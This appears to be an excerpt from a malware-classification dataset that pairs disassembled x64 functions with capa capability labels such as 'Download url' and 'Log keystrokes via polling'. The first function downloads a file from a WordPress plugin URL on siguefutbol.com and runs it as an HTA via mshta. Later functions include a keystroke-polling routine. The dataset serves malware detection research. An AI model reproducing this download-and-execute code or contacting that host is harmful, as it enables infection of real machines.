joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2e93b13a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x2e93b15b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2e93b22b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.2e93b22b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x2e93b1620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x2e93b7064]
mov r12, rcx
test ebx, ebx
jle 0x2e93b1750
mov rax, qword [0x2e93b7068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x2e93b166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x2e93b16f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x2e93b1650
mov rcx, r12
call fcn.2e93b1da0
mov rsi, rax
test rax, rax
je 0x2e93b1772
mov rax, qword [0x2e93b7068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.2e93b1ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x2e93b7068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2e93b1757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2e93b16ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2e93b1700
add dword [0x2e93b7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x2e93b7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2e93b16ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2e93b15b0
nop dword [rax]
xor ebx, ebx
jmp 0x2e93b1677
mov rax, qword [0x2e93b7068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2e93b15b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.2e93b15b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x2e93b1a10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x2e93b70a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2e93b7080]
test rbx, rbx
je 0x2e93b1a64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x2e93b1a5b
test r12, r12
je 0x2e93b1a5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2e93b1a40
lea rcx, [0x2e93b70a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2e93b1da0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2e93b42c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2e93b1dc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2e93b1dc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2e93b1dc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x2e93b1e15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2e93b1e0c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2e93b1dc0
add rax, 0x28
cmp rax, r9
jne 0x2e93b1df8
xor eax, eax
ret

Function at 0x2e93b1e20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2e93b42c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2e93b1e40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2e93b1e48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x2e93b1e40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x2e93b1ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2e93b42c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2e93b1ef0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x2e93b1ef8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x18007f2f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x18029e0c0]
xor rax, rsp
mov qword [rbp], rax
movzx esi, r8b
mov r14, rdx
mov rdi, rcx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rdx
mov byte [0x1802bd986], r8b
mov r15d, dword [0x18029ed24]
xor edx, edx
lea rcx, str.grcWindow
call qword [sym.imp.USER32.dll_FindWindowA]
mov rbx, rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rbx, rax
jne 0x18007f543
cmp byte [0x1802bd979], 0
jne 0x18007f543
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x18007f543
test sil, sil
je 0x18007f543
lea rax, [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.180078df0
mov r15, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x60], rax
mov rdx, qword [0x1802b8780]
movabs rsi, 0x7fffffffffffffff
mov rcx, rsi
sub rcx, rdx
cmp rcx, 8
jb 0x18007f57d
lea rax, [0x1802b8770]
cmp qword [0x1802b8788], 0xf
cmova rax, qword [0x1802b8770]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
lea r9, str.submenu_
lea rcx, [rbp - 0x40]
call fcn.1800809c0
nop
lea rax, [rbp - 0x70]
mov qword [rsp + 0x68], rax
lea rdx, [0x1802c0b70]
lea rcx, [rbp - 0x70]
call fcn.180078df0
mov rbx, rax
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.180078df0
nop
mov r9, r15
lea r8, [rbp - 0x40]
mov rdx, rbx
mov rcx, rax
call fcn.180092d90
mov rcx, qword [rdi + 0x10]
sub rsi, rcx
cmp rsi, 0xb
jb 0x18007f583
mov rax, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x18007f455
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xb
lea r9, str.Selectable
lea rcx, [rbp - 0x20]
call fcn.1800809c0
nop
mov r8d, 6
lea rdx, str._saved
lea rcx, [rbp - 0x20]
call fcn.1800792d0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x20]
call fcn.180079270
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x70]
call fcn.180078df0
mov rsi, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x18007f4d8
mov rcx, qword [rax]
call fcn.18010eb54
mov rbx, rax
mov rcx, rsi
call fcn.180079270
movss xmm0, dword [0x180258d1c]
movss dword [rsp + 0x38], xmm0
lea rax, str.Config
mov qword [rsp + 0x28], rax
mov rcx, rbx
call fcn.1800ae210
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x18007f543
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007f53d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18007f577
call fcn.1801075b0
nop
mov rcx, rdi
call fcn.180079270
nop
mov rcx, r14
call fcn.180079270
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.180107590
mov rbx, qword [rsp + 0x150]
add rsp, 0x110
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.180110294
nop
call fcn.180077420
nop
call fcn.180077420
int3
Function at 0x18008e710
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x18008e749
mov qword [0x1802bd898], rcx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov r9, qword [0x1802bd898]
lea r8, [0x18008db50]
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180094040
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x18029e0c0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rdi, rdx
mov r13, rcx
mov qword [rsp + 0x20], rdx
mov rcx, rdx
call fcn.180090190
cmp qword [rdi + 0x18], 0xf
jbe 0x18009408e
mov rsi, qword [rdi]
mov rbp, rsi
mov rbx, rsi
add rbp, qword [rdi + 0x10]
jmp 0x18009409b
mov rbx, rdi
mov rbp, qword [rdi + 0x10]
add rbp, rdi
mov rsi, rdi
cmp rbx, rbp
je 0x1800940b6
sub rsi, rbx
movsx ecx, byte [rbx]
call fcn.18010eafc
mov byte [rsi + rbx], al
inc rbx
cmp rbx, rbp
jne 0x1800940a3
mov r8, qword [rdi + 0x10]
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1800940c7
mov rdx, qword [rdi]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test r8, r8
je 0x1800940f5
movabs r10, 0x100000001b3
movzx eax, byte [rdx + rcx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x1800940e2
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, r13
call fcn.1800988a0
mov rbp, qword [rax + 8]
test rbp, rbp
je 0x1800941c7
cmp rbp, qword [r13 + 8]
je 0x1800941c7
mov r14, qword [rbp + 0x30]
mov rsi, r14
shl rsi, 6
add rsi, qword [r13 + 0x40]
mov r15, qword [r13 + 0x48]
lea rbx, [rsi + 0x40]
cmp rbx, r15
je 0x180094165
nop dword [rax + rax]
mov rdx, rbx
mov rcx, rsi
call fcn.18007f800
lea rdx, [rbx + 0x20]
lea rcx, [rsi + 0x20]
call fcn.18007f800
add rsi, 0x40
add rbx, 0x40
cmp rbx, r15
jne 0x180094140
mov rbx, qword [r13 + 0x48]
lea rcx, [rbx - 0x20]
call fcn.180079270
lea rcx, [rbx - 0x40]
call fcn.180079270
add qword [r13 + 0x48], 0xffffffffffffffc0
mov r8, rbp
lea rdx, [rsp + 0x20]
mov rcx, r13
call fcn.180097a00
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
cmp rax, rcx
je 0x1800941bb
nop dword [rax]
mov rdx, qword [rax + 0x30]
cmp rdx, r14
jbe 0x1800941b0
dec rdx
mov qword [rax + 0x30], rdx
mov rdx, qword [rax]
mov rax, rdx
cmp rdx, rcx
jne 0x1800941a0
mov rcx, rdi
call fcn.180079270
mov al, 1
jmp 0x1800941d1
mov rcx, rdi
call fcn.180079270
xor al, al
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180107590
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret
Function at 0x180094200
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18029e0c0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rdi, rdx
mov r14, rcx
mov qword [rsp + 0x20], rdx
mov rcx, rdx
call fcn.180090190
cmp qword [rdi + 0x18], 0xf
jbe 0x18009424a
mov rsi, qword [rdi]
mov rbp, rsi
add rbp, qword [rdi + 0x10]
mov rbx, rsi
jmp 0x180094257
mov rsi, rdi
mov rbp, qword [rdi + 0x10]
add rbp, rdi
mov rbx, rdi
cmp rbx, rbp
je 0x180094273
sub rsi, rbx
nop
movsx ecx, byte [rbx]
call fcn.18010eafc
mov byte [rsi + rbx], al
inc rbx
cmp rbx, rbp
jne 0x180094260
mov r8, qword [rdi + 0x10]
mov rcx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x180094284
mov rcx, qword [rdi]
xor edx, edx
movabs r9, 0xcbf29ce484222325
test r8, r8
je 0x1800942b3
movabs r10, 0x100000001b3
nop
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r10
inc rdx
cmp rdx, r8
jb 0x1800942a0
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, r14
call fcn.1800988a0
cmp qword [rax + 8], 0
setne bl
mov rcx, rdi
call fcn.180079270
movzx eax, bl
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180107590
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x180094300
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x18029e0c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, r8
mov rsi, rdx
mov r15, rcx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x38], r8
xor r12d, r12d
mov rcx, r8
call fcn.180090190
cmp qword [rdi + 0x18], 0xf
jbe 0x180094352
mov r14, qword [rdi]
mov rbp, r14
add rbp, qword [rdi + 0x10]
mov rbx, r14
jmp 0x18009435f
mov r14, rdi
mov rbp, qword [rdi + 0x10]
add rbp, rdi
mov rbx, rdi
cmp rbx, rbp
je 0x18009437b
sub r14, rbx
movsx ecx, byte [rbx]
call fcn.18010eafc
mov byte [r14 + rbx], al
inc rbx
cmp rbx, rbp
jne 0x180094367
mov r8, qword [rdi + 0x10]
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x18009438c
mov rdx, qword [rdi]
movabs r9, 0xcbf29ce484222325
mov rcx, r12
test r8, r8
je 0x1800943c3
movabs r10, 0x100000001b3
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x1800943b0
mov r8, rdi
lea rdx, [rsp + 0x28]
mov rcx, r15
call fcn.1800988a0
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1800943fc
cmp rdx, qword [r15 + 8]
je 0x1800943fc
mov rdx, qword [rdx + 0x30]
shl rdx, 6
add rdx, 0x20
add rdx, qword [r15 + 0x40]
mov rcx, rsi
call fcn.180078df0
jmp 0x180094411
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rcx, rdi
call fcn.180079270
mov rax, rsi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180107590
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180094440
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
movaps xmmword [rsp + 0x50], xmm6
mov rax, qword [0x18029e0c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rdx
mov r14, rcx
mov qword [rsp + 0x20], rdx
mov rcx, rdx
call fcn.180090190
cmp qword [rdi + 0x18], 0xf
jbe 0x18009448f
mov rsi, qword [rdi]
mov rbp, rsi
add rbp, qword [rdi + 0x10]
mov rbx, rsi
jmp 0x18009449c
mov rsi, rdi
mov rbp, qword [rdi + 0x10]
add rbp, rdi
mov rbx, rdi
cmp rbx, rbp
je 0x1800944b7
sub rsi, rbx
movsx ecx, byte [rbx]
call fcn.18010eafc
mov byte [rsi + rbx], al
inc rbx
cmp rbx, rbp
jne 0x1800944a4
mov r8, qword [rdi + 0x10]
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1800944c8
mov rdx, qword [rdi]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test r8, r8
je 0x180094503
movabs r10, 0x100000001b3
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x1800944f0
mov r8, rdi
lea rdx, [rsp + 0x28]
mov rcx, r14
call fcn.1800988a0
mov rbx, qword [rax + 8]
test rbx, rbx
je 0x18009452b
cmp rbx, qword [r14 + 8]
je 0x18009452b
mov rbx, qword [rbx + 0x30]
jmp 0x1800945f9
mov rbx, qword [r14 + 0x48]
sub rbx, qword [r14 + 0x40]
sar rbx, 6
mov r8, rdi
lea rdx, [rsp + 0x28]
mov rcx, r14
call fcn.180097fd0
mov rcx, qword [rax]
mov qword [rcx + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
movdqa xmm6, xmmword [0x180259b60]
movdqu xmmword [rsp + 0x38], xmm6
mov byte [rsp + 0x28], 0
mov rsi, qword [r14 + 0x48]
cmp rsi, qword [r14 + 0x50]
je 0x1800945ac
mov rdx, rdi
mov rcx, rsi
call fcn.180078df0
mov qword [rsi + 0x30], 0
mov qword [rsi + 0x38], 0
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm6
mov edx, 0xf
mov byte [rsp + 0x28], 0
add qword [r14 + 0x48], 0x40
jmp 0x1800945c5
lea r9, [rsp + 0x28]
mov r8, rdi
mov rdx, rsi
lea rcx, [r14 + 0x40]
call fcn.1800997e0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x1800945f9
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800945f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094634
call fcn.1801075b0
shl rbx, 6
add rbx, qword [r14 + 0x40]
mov rcx, rdi
call fcn.180079270
lea rax, [rbx + 0x20]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180107590
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
movaps xmm6, xmmword [rsp + 0x50]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.180110294
nop
int3
Function at 0x1800946e0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x18029e0c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, rdx
mov qword [rsp + 0x28], rdx
mov r13, rcx
mov qword [rsp + 0x40], rdx
mov rcx, rdx
call fcn.180090190
cmp qword [rsi + 0x18], 0xf
jbe 0x180094731
mov rdi, qword [rsi]
mov rbp, rdi
mov rbx, rdi
add rbp, qword [rsi + 0x10]
jmp 0x18009473e
mov rbx, rsi
mov rbp, qword [rsi + 0x10]
add rbp, rsi
mov rdi, rsi
cmp rbx, rbp
je 0x180094759
sub rdi, rbx
movsx ecx, byte [rbx]
call fcn.18010eafc
mov byte [rdi + rbx], al
inc rbx
cmp rbx, rbp
jne 0x180094746
mov r8, qword [rsi + 0x10]
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x18009476a
mov rdx, qword [rsi]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test r8, r8
je 0x1800947a3
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x180094790
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, r13
call fcn.1800988a0
mov r12, qword [rax + 8]
test r12, r12
je 0x1800948ea
cmp r12, qword [r13 + 8]
je 0x1800948ea
mov r14, qword [r12 + 0x30]
mov qword [rsp + 0x30], r14
imul r15, r14, 0x78
add r15, qword [r13 + 0x40]
mov rax, qword [r13 + 0x48]
lea rbp, [r15 + 0x78]
cmp rbp, rax
je 0x180094883
lea rdi, [r15 + 0x20]
lea rbx, [rbp + 0x60]
mov rsi, rax
nop dword [rax + rax]
mov rdx, rbp
mov rcx, r15
call fcn.18007f800
lea rax, [rbx - 0x40]
lea r14, [rdi + 0x40]
cmp rdi, rax
je 0x180094849
mov qword [rsp + 0x20], rdi
mov eax, dword [rax]
mov dword [rdi], eax
mov r8, qword [rbx - 0x38]
mov rdx, qword [r8]
lea rcx, [rdi + 8]
call fcn.18009a510
mov rdx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.180098700
mov rdx, rax
mov rcx, rdi
call fcn.180098480
nop
cmp r14, rbx
je 0x180094864
mov rdx, qword [rbx]
mov r8, qword [rbx + 8]
sub r8, rdx
sar r8, 6
mov rcx, r14
call fcn.18009a2f0
add r15, 0x78
add rdi, 0x78
add rbp, 0x78
add rbx, 0x78
cmp rbp, rsi
jne 0x180094800
mov rsi, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
mov rdi, qword [r13 + 0x48]
lea rcx, [rdi - 0x18]
call fcn.180094640
lea rcx, [rdi - 0x58]
call fcn.180092b20
lea rcx, [rdi - 0x78]
call fcn.180079270
add qword [r13 + 0x48], 0xffffffffffffff88
mov r8, r12
lea rdx, [rsp + 0x40]
mov rcx, r13
call fcn.180097a00
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
cmp rax, rcx
je 0x1800948de
mov rdx, qword [rax + 0x30]
cmp rdx, r14
jbe 0x1800948d3
dec rdx
mov qword [rax + 0x30], rdx
mov rdx, qword [rax]
mov rax, rdx
cmp rdx, rcx
jne 0x1800948c3
mov rcx, rsi
call fcn.180079270
mov al, 1
jmp 0x1800948f4
mov rcx, rsi
call fcn.180079270
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180107590
mov rbx, qword [rsp + 0xa0]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180094920
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x18029e0c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, r8
mov rsi, rdx
mov r15, rcx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x38], r8
xor r12d, r12d
mov rcx, r8
call fcn.180090190
cmp qword [rdi + 0x18], 0xf
jbe 0x180094972
mov r14, qword [rdi]
mov rbp, r14
add rbp, qword [rdi + 0x10]
mov rbx, r14
jmp 0x18009497f
mov r14, rdi
mov rbp, qword [rdi + 0x10]
add rbp, rdi
mov rbx, rdi
cmp rbx, rbp
je 0x18009499b
sub r14, rbx
movsx ecx, byte [rbx]
call fcn.18010eafc
mov byte [r14 + rbx], al
inc rbx
cmp rbx, rbp
jne 0x180094987
mov r8, qword [rdi + 0x10]
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1800949ac
mov rdx, qword [rdi]
movabs r9, 0xcbf29ce484222325
mov rcx, r12
test r8, r8
je 0x1800949e3
movabs r10, 0x100000001b3
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x1800949d0
mov r8, rdi
lea rdx, [rsp + 0x28]
mov rcx, r15
call fcn.1800988a0
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x180094a19
cmp rcx, qword [r15 + 8]
je 0x180094a19
imul rdx, qword [rcx + 0x30], 0x78
add rdx, 0x20
add rdx, qword [r15 + 0x40]
mov rcx, rsi
call fcn.1800963e0
jmp 0x180094a2d
mov rcx, rsi
call fcn.180096bb0
mov qword [rsi + 0x40], r12
mov qword [rsi + 0x48], r12
mov qword [rsi + 0x50], r12
mov rcx, rdi
call fcn.180079270
mov rax, rsi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180107590
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x180094a60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18029e0c0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov r14, rcx
mov qword [rsp + 0x30], rdx
mov rcx, rdx
call fcn.180090190
cmp qword [rdi + 0x18], 0xf
jbe 0x180094aaa
mov rsi, qword [rdi]
mov rbp, rsi
add rbp, qword [rdi + 0x10]
mov rbx, rsi
jmp 0x180094ab7
mov rsi, rdi
mov rbp, qword [rdi + 0x10]
add rbp, rdi
mov rbx, rdi
cmp rbx, rbp
je 0x180094ad3
sub rsi, rbx
nop
movsx ecx, byte [rbx]
call fcn.18010eafc
mov byte [rsi + rbx], al
inc rbx
cmp rbx, rbp
jne 0x180094ac0
mov r8, qword [rdi + 0x10]
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x180094ae4
mov rdx, qword [rdi]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test r8, r8
je 0x180094b13
movabs r10, 0x100000001b3
nop
movzx eax, byte [rdx + rcx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x180094b00
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, r14
call fcn.1800988a0
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x180094b38
cmp rcx, qword [r14 + 8]
je 0x180094b38
mov rax, qword [rcx + 0x30]
jmp 0x180094b43
mov rdx, rdi
mov rcx, r14
call fcn.180096660
imul rbx, rax, 0x78
add rbx, qword [r14 + 0x40]
mov rcx, rdi
call fcn.180079270
lea rax, [rbx + 0x20]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180107590
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x1800950d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x180095101
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x18009517b
mov rdi, r14
mov rcx, rbx
call fcn.1800791b0
test rax, rax
jle 0x180095153
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.180136b40
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18009516b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180095173
mov byte [rsi], al
